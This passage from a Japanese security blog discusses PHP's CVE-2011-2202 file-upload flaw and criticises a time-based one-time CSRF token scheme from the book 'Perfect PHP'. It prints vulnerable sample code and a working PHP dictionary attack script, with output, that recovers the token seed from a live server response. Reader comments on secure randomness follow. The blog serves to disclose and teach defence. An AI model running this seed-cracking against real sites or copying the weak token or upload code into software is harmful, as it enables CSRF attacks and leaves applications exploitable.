  • PHPスクリプトが、Webサーバーのルートディレクトリに対して書き込み権限をもつユーザで実行している
 前者は、具体的には以下のようなスクリプトです。
move_uploaded_file($_FILES["imgfile"]["tmp_name"], $_FILES["imgfile"]["name"]);
 このスクリプトは正常系の動作では、PHPスクリプトがおかれているディレクトリにファイルを書き込むわけで、乱暴としか言いようがありません。PHPファイルを書き換えて任意のスクリプトが実行できるわけで、CVE-2011-2202脆弱性がなくても致命的な脆弱性であると考えられます。
 PHPスクリプトがWebサーバーのルートディレクトリに書き込み権限を持つ場合の典型例は、Apacheが管理者権限で動いている場合です。脆弱性診断をしているとたまにそのようなWebサイトを見かけますが、非常に危険です。最近では、Apacheインストールするとデフォルトでは管理者権限のないユーザ(nobody、apache、www-dataなど)で動作するようになるので、わざわざ危険な設定に変更してはいけません(追記:Windows版のPHPデフォルトではSYSTEMユーザという強い権限で動作します)。

対策

 上記の二条件に当てはまるPHPスクリプトは至急対策が必要ですが、CVE-2011-2202以前にWebアプリケーション脆弱性であるからです。以下の対処を推奨します。
  • アップロードされたファイルを安全な場所に移動する(徳丸本4.12節参照)
  • Apache等を管理者権限のないユーザで動作させる
 これらは、CVE-2011-2202の影響を受けないための最低条件です。例えば、先に紹介した4c-002.phpCVE-2011-2202の影響を受けませんが、他の脆弱性はあります(脆弱な例なので)。詳細は、徳丸本4.12節を参照してください。

まとめ

 CVE-2011-2202の概要、影響、対策について報告しました。
 大半のアプリケーションは、CVE-2011-2202の影響によりセキュリティリスクは増加しないと考えられますが、この機会にファイルアップロード部分に脆弱性がないかチェックするとよいでしょう。また、早期にPHP5.3.7への移行を実施してください。
 この脆弱性リスクNVD(National Vulnerability Database)では、6.4と判定していますが、redhatのCVE DATABASEでは2.6と低く判定しています。私は、redhatの判定を支持します。この例のように、脆弱性リスクは判定者によって異なる場合があるため、単独の情報を鵜呑みにしないことが大切です。脆弱性の内容を理解して自社アプリケーションの影響を判断するのが正しい対処ではありますが、よく分からない場合はリスクの高い方に従っておくべきですし、その場合はソフトウェア提供者などが推奨する対策(パッチ適用バージョンアップ、回避策など)を実施するべきでしょう。

追記(2011/06/20 17:00)

 @shishi4twさんのつぶやきで、該当脆弱性報告者のブログを知りました。また、@umqさんの指摘から、Windows版のApacheが管理者権限(SYSTEM)で動作することを確認しました。
 脆弱性報告者のブログの方には、デモの動画も用意されているので見ると面白いと思います。デモでは、c:\boot.iniを上書きして、Windowsを起動できないようにしています。このデモは印象的ですが、実はPoCのPHPスクリプトは、CVE-2011-2202がなくても同等以上の悪いことができます。PHPスクリプトアップロードして、このスクリプトを外部から参照することにより実行すればよいわけで、system関数などでOSコマンドを呼び出すことできるし、unlink関数でC:\boot.iniを消することも可能です。
 Windows上のApachePHPを動かしている場合は、Unix/Linux上の場合に比べてPHPが強い権限で動いていることから、より注意が必要ですが、CVE-2011-2202がなくてもそれは同じです。

2011年1月27日木曜日

CSRF対策のトークンをワンタイムにしたら意図に反して脆弱になった実装例

補足

この記事は旧徳丸浩の日記からの転載です(元URLアーカイブはてなブックマーク1はてなブックマーク2)。
備忘のため転載いたしますが、この記事は2011年1月27日に公開されたもので、当時の徳丸の考えを示すものを、基本的に内容を変更せずにそのまま転載するものです。
補足終わり

橋口誠さんから今話題の書籍パーフェクトPHP (PERFECT SERIES 3)を献本いただきました。ありがとうございます。このエントリでは同書のCSRF対策の問題点について報告したいと思います*1。 本書では、CSRFの対策について以下のように説明されています(同書P338)。
CSRFへの対応方法は、「ワンタイムトークンによるチェックを用いる」「投稿・編集・削除などの操作の際にはパスワード認証をさせる」などがあります。一番確実な方法は両者を併用することですが、ユーザ利便性などの理由から簡略化する場合でもワンタイムトークンによるチェックだけは実装するべきです。
ワンタイムトークンの利用を推奨していますが、実はCSRF対策の場合ワンタイム性は必須ではありません。安全なウェブサイトの作り方のCSRF対策の項には以下のように書かれています。
まず、利用者の入力内容を確認画面として出力する際、合わせて秘密情報を「hidden パラメータ」に出力するようにします。この秘密情報は、セッション管理に使用しているセッションID を用いる方法の他、セッションID とは別のもうひとつのID(第2 セッションID)をログイン時に生成して用いる方法などが考えられます。生成するID は安全な擬似乱数を用いて、第三者に予測困難なように生成する必要があります。
[安全なウェブサイトの作り方より引用]
秘密情報(トークン)としてセッションIDを用いる方法の他、セッションIDとは別に安全な乱数を用いてトークンを生成する方法が記載されています。トークンを生成する場合も「ログイン時に生成」とあることから、セッション毎にユニークではあっても、ワンタイム性は求めていません。すなわち、CSRF対策のトークンの必須要件は「第三者から推測が困難」という推測困難性だけです。しかし、書籍などを見ていると、安全でないワンタイムトークンの生成方法が紹介されていることがあります。ワンタイムにすることで、更にセキュリティを強化するつもりなのでしょうが、これではセッションIDをトークンとして用いる方法よりも安全性が下がってしまいます。

パーフェクトPHPの場合はどうでしょうか。同書P339からP340には以下のようにトークン生成のスクリプトが紹介されています。
function get_oken($key = '') {  // 引用者注:関数名は誤植らしい
  $_SESSION['key'] = $key;
  $token = sha1($key);
  return $token;
}
// 中略
// ワンタイム生成用文字列
$seed = 'secret';
// 中略
$key = $seed . '_' . microtime();
$token = get_token($key);
ご覧のように、「種」となる$seed(この場合は「secret」)とマイクロ秒までの日時を連結してSHA-1ハッシュをとったものとなっています。しかし、マイクロ秒とはいえ日時を元にしているので、予測可能な情報を元にトークンを生成していることになり、心配です。$seedの値がばれなければ攻撃は難しいと思われるかもしれませんが、パーフェクトPHPには$seedに関する注意はなく、そのままコピペして使う人が出てきそうです。その場合は、はっきりと脆弱性といえるでしょう。

あるいは、$seedの値が'secret'となっているわけだから、明記はされていないが暗黙の了解として$seedは本番環境では変更して使うのだという意図かもしれません。仮にそうだとして、パーフェクトPHPに説明されているCSRF対策(以下パーフェクト方式と表記)の$seedの値を外部から推測できないかを実験してみました。以下の実験では、パーフェクト方式の$seedをパスワードのような数文字の文字列と想定して、辞書攻撃による推測を試みます。

まず、攻撃対象のサイトですが、簡単にするために、単にトークンを生成して返すだけです。
<?php
$seed = 'secret';
$key = $seed . '_' . microtime();
$token = sha1($key);
echo $token;
?>
このトークンを元に、$seedを辞書攻撃で解析するスクリプトをPHPで作成しました。スクリプトは以下の通りです。
<?php
function get_token($seed, $microtime) {
  $key = $seed . '_' . $microtime;
  return sha1($key);
}

function calc_diff_time($a, $diff) {
  $a0 = $a[0] + $diff;
  $a1 = $a[1];
  if ($a0 > 1000000) {
    $a0 -= 1000000;
    $a1++;
  } else if ($a0 < 0) {
    $a0 += 1000000;
    $a1--;
  }
  //printf("0.%06d00 %d\n", $a0, $a1);
  return sprintf("0.%06d00 %d", $a0, $a1);
}

function get_dictionary() {
  $dic = array();
  $fp = fopen('password.lst', 'r');
  while (! feof($fp)) {
    $line = rtrim(fgets($fp, 1024));
    if ($line !== '' && $line[0] !== '#') {
      $dic[] = $line;
    }
  }
  fclose($fp);
  return $dic;
}

function check_token($token, $seed, $microtime) {
  $token1 = get_token($seed, $microtime);
  return ($token == $token1);
}

  $dic = get_dictionary();

  $m0 = microtime();
  $token = file_get_contents('http://example.jp/onetimetoken.php');
  $m1 = microtime();
  echo 'server token: ' . $token . "\n";

  $m = $m0;
  echo "m0 = $m0\n";
  echo "m1 = $m1\n";
  $a = explode(' ', $m);
  $a[0] = (int)substr($a[0], 2, 6);
  $a[1] = (int)$a[1];

  $count = count($dic);
  for ($t = 0; $t < 1000000; $t++) {
   $mx1 = calc_diff_time($a, $t);
   $mx2 = calc_diff_time($a, -$t);
   for ($i = 0; $i < $count; $i++) {
    $seed = $dic[$i];
    if (check_token($token, $seed, $mx1)) {
      echo "seed = $seed\n";
      echo "match $t\n";
      echo "microtime = $mx1\n";
      exit(0);
    }
    if (check_token($token, $seed, $mx2)) {
      echo "seed = $seed\n";
      echo "match -$t\n";
      echo "microtime = $mx2\n";
      exit(0);
    }
   }
  }
これは以下の手順で$seedの値を推測しています
  1. 辞書ファイルを読み込む
  2. 攻撃対象サイトにアクセスしてトークンを得る
  3. 現在時刻を基準に、時刻を1マイクロ秒ずつ前後にずらしながら繰り返し
  4. 辞書中の単語を順に試しながらトークンを生成する
  5. 攻撃対象から得たトークンと一致するものがあれば終了
辞書ファイルとしてはJohn the Ripperに添付された約3000語のパスワード辞書を用いました。実行例を以下に示します。
$ time php get-seed.php
seed = secret
match -4940
microtime = 0.84839400 1296101921

real    2m7.532s
user    2m7.238s
sys     0m0.056s
2分7秒で$seedがsecretであることが判明しています。2分7秒はチャンピオンデータであり、これより時間が掛かる場合もありますが、30分もあればほぼ確実に$seedが得られます。すなわち、辞書にのっているような単語を$seedに使ってしまうと、現実的な時間内に$seedが解読され、CSRF攻撃される可能性があるということです。

なお、本書のP340では、ワンタイムトークンのチェックの際に、トークンが一致した場合のみセッション変数からトークンを削除していますが、本来はマッチしない場合もトークンを削除するべきです。トークンが一致しない場合にセッション変数のトークンを削除していないので、攻撃者はマイクロ秒単位の時刻をずらしながらトークンを生成して次々に攻撃することで、攻撃確率を高めることができます。

まとめ

パーフェクト方式のCSRF対策は現在時刻を元にしているので、ハッシュ関数を通しても、内部の「種」の文字列を推測される危険性があります。そして、種がばれてしまうと、ワンタイムトークンは時刻の関数となるので、トークン推測によるCSRF攻撃の危険性があります。マイクロ秒単位の時刻を元にしているので、攻撃成功の確率は高くはありませんが、時刻推測の精度を高め、攻撃を繰り返すことにより、攻撃が成功する確率を高めることが可能です。

興味深いことに、この事例は、ワンタイムトークンを選んだことにより、かえって攻撃の成功確率が高くなっています。もしもセッション開始時に同じ方法でトークンを生成した場合、セッション開始時刻を攻撃者が正確に推測することは困難なので、攻撃の成功率はかなり低くなります(ただし、その場合でも時刻を元にしたトークンは好ましくありません)。一方、ワンタイムトークンの場合は、トークンを生成するページを罠ページから閲覧させることにより、トークンの元となる時刻はかなり正確に測定できます。そのため、トークンが一致する確率も高くなります。

この事例から得られる教訓は、トークン生成は安全な乱数を用いるべきであり、安全な疑似乱数生成器がない場合は、セッションIDそのものを使う方法が妥当だということです。ワンタイムにすることで一層セキュアにしようとした意図があだとなり、かえって危険な実装になったのは皮肉としか言いようがありません。

なお、同書のP255には、「実践的な開発におけるワンタイムトークンの実装例」があり、こちらはトークン生成の種にセッションIDも含めているので、上記のような脆弱性はありません。しかし、ここで紹介した方の対策が「脆弱な例」と説明されているわけではないので、読者は注意が必要です。

*1 献本の批判をすることに最初躊躇しておりましたが、橋口さんからどんどん指摘してくださいというコメントを頂きましたので、公開に踏み切りました。橋口さんの寛大な態度に敬意を表します。


本日のツッコミ(全9件)

□ ふるふる (2011年01月31日 18:14) こんにちは.マイクロ秒の値を総当りしてseedを推定すると聞いて,1996年に発表されたNetscapeNavigator(ver1.1)の擬似乱数生成への攻撃を思い出しました.
サーバとの通信無しで攻撃が実行できるか否かなど,いろいろな前提条件はあるのでしょうが,もはや時刻を種に追加しても安全性は
たいして向上しないということなのでしょうね.

CRYPTREC 2003年度暗号技術関連の調査報告 0210 SSL安全性調査報告書<詳細編> のp97, http://www.cryptrec.go.jp/estimation.html#2003
「OpenSSL 暗号・PKI・SSL/TLSライブラリの詳細」オーム社 p22.

□ methane (2011年02月07日 12:13) CSRF対策tokenをワンタイム化し、複数のtokenを残しているのは、ユーザーが同一のフォームを複数並列に
表示してsubmitすることを許可するためのフォーム識別トークンとしても利用するのが目的だと理解しています。

ワンタイムであることが脆弱性の原因ではなく、安全な擬似乱数を使ってないこと、$seedの中身が辞書攻撃可能であることが原因ですよね?
パーフェクトPHPにも説明不足な点があるのかもしれませんが、だとすればこの記事のタイトルにも、
まるで「ワンタイムにしたら脆弱になるケースがある」と誤読させているように感じました。
# それを狙った釣りだったらすみません。

□ 徳丸浩 (2011年02月07日 13:29) methaneさん、コメントありがとうございます。
〉ワンタイムであることが脆弱性の原因ではなく、安全な擬似乱数を使ってないこと、$seedの中身が辞書攻撃可能であることが原因ですよね?

その通りです。
しかし、ワンタイムにしたから、攻撃が容易になったとは言えます。ワンタイムトークンを時刻を元に生成している上に、ワンタイムトークン生成する時刻を攻撃者が制御可能になるからです。「攻撃が容易になった」ことを「意図に反して脆弱になった」と書いたわけですが、それほど不正確な書き方ではないと思います。ただ、根本原因がワンタイムトークンの使用にあるわけでないことはご指摘の通りです。

それと、以下の指摘ですが、

〉CSRF対策tokenをワンタイム化し、複数のtokenを残しているのは、ユーザーが同一のフォームを複数並列に
〉表示してsubmitすることを許可するためのフォーム識別トークンとしても利用するのが目的だと理解しています。

私が引用したのは、パーフェクトPHPのP338のサンプル(csrf_02.php)ですが、こちらは「複数のtokenを残して」いません。「複数のtokenを残している」のは、同書のP255の「実践的な開発におけるワンタイムトークンの実装例」の方ですね。csrf_02.phpの方は、「ユーザーが同一のフォームを複数並列に表示してsubmitする」とエラーになる場合があり、これはワンタイムトークンを使ったことの副作用ですが、私のエントリでは指摘していません。
ワンタイムトークンによる実装には気をつけなければならないポイントがあり、金床さんの本ではさすがにきちんと押さえていますが、一方で安直な考え方により、(セッションIDをトークンとして用いるシンプルな方法に比べて)安全でない実装が多いのが現状です。その状況に警鐘を鳴らしたいと思っていたところに、ちょうどよい事例が見つかったのでこのエントリを書いたのでした。「ワンタイムだと安全そう」、「ハッシュをとっとけば安全」という安直な発想はかえって危険になることを実例を元に指摘したかったのです。

□ methane (2011年02月07日 14:21) なるほど、たしかにワンタイム方式だと予測可能なトークンを使用している場合に
辞書アタックなどのブルートフォース方式が使えますね。
穴になるというより、穴を広げるという意味で、ワンタイムトークンにも危険があることを理解できました。
ありがとうございます。

□ らいあ (2011年07月11日 20:47) はじめまして。

sha1( uniqueid( mt_rand(), true));

というのが PHP業界では定番のコードだと思うのですが、

このコードではアウトなのでしょうか?

□ 徳丸浩 (2011年07月11日 21:04) らいあさん、こんにちは

> sha1( uniqueid( mt_rand(), true));

ご指摘のように、定番的によく使われていますが、これは暗号論的擬似乱数生成器ではないと思います。暗号論的擬似乱数生成器については、WikiPediaの解説が丁寧です。

http://ja.wikipedia.org/wiki/%E6%9A%97%E5%8F%B7%E8%AB%96%E7%9A%84%E6%93%AC%E4%BC%BC%E4%B9%B1%E6%95%B0%E7%94%9F%E6%88%90%E5%99%A8

 ここにもあるように、暗号論的擬似乱数生成器とは、乱数に対する攻撃に耐えるための要件を満たした疑似乱数生成器のことです。身近な例としては、/dev/randomや/dev/urandomがあります。
 sha1( uniqueid( mt_rand(), true)) に対する攻撃方法を私が知っている訳ではないのですが、安全性が証明された方法がある以上は、そうでない方法を使う理由がないと思います。自己流でやると、このエントリで指摘したような脆弱性が入る場合があるわけですから。

□ こういち (2011年07月13日 22:57) いつも参考にさせていただいております。ありがとうございます。
また書籍も購入させていただきました。

さて今回「疑似乱数生成器の身近な例として」"/dev/random"や"/dev/urandom"が紹介されていましたが、バージョン4のUUIDはいかがでしょうか。ご意見をいただければ幸いです。

高木様のエントリー「今こそケータイID問題の解決に向けて」に「こうしたランダムIDというのは、たとえば「Version 4 UUID」(UUID: Universally Unique IDentifier)として規格化されており、、、」という記述があり、これでいけるかと考えていたのです。が、本日調べ直したらRFC-4122の6に"Do not assume that UUIDs are hard to guess"の一文を見つけた次第です。

□ いーさん (2012年09月27日 20:07) 例が脆弱になったのは、トークンの生成に公開されているロジックを使っていることが原因です。ワンタイムかどうかは関係ありません。

攻撃者が、$seedの値を特定したい場合は、攻撃者自らがサイトにアクセスすれば、接続時の時間は任意に出来ます。この場合、トークンがセッション毎に固定でも、ワンタイムでも、脆弱性は変わりません。

攻撃者が辞書攻撃が可能になったのは、
$key = $seed . '_' . microtime();
を元に生成していることを攻撃者が知っているからです。
もしも、
$key = $seed . '_' . microtime() . '_';
で実装されていたら、辞書攻撃はすべて失敗します。


また、セッションIDをトークンに使うのはあまり良いアイディアとは思えません。論拠は、以下のサイトをご覧下さい。

http://www.jumperz.net/texts/csrf.htm

□ かめ (2012年11月29日 19:43) はじめまして。

徳丸さんの記事については、そういう例もあるんだなーと
思いながら拝見しておりました。勉強になります。

1つワンタイムの是非よりも気になったことがあります。

いーさんさんが記載しているサイトの論拠には
> ■「CSRF以前の問題」については考えない
とあります。

> トークンの漏洩が即セッションIDの漏れに繋がってしまうため
の「トークンの漏洩」は「CSRF以前の問題」にあたるのではないかと思ったんですがどうなんでしょう…

実際のところ「セッションIDそのものを使う方法」を採用することで、
上記以外に何かまずいことが起きたりするのでしょうか。

私はセッションIDでいいものと思ってたので、気になりました。
(話がそれてたらすみません。)

フォロワー

ブログ アーカイブ